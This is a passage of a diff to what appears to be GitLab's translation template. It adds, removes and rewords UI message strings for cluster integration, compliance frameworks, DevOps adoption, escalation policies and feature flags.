msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
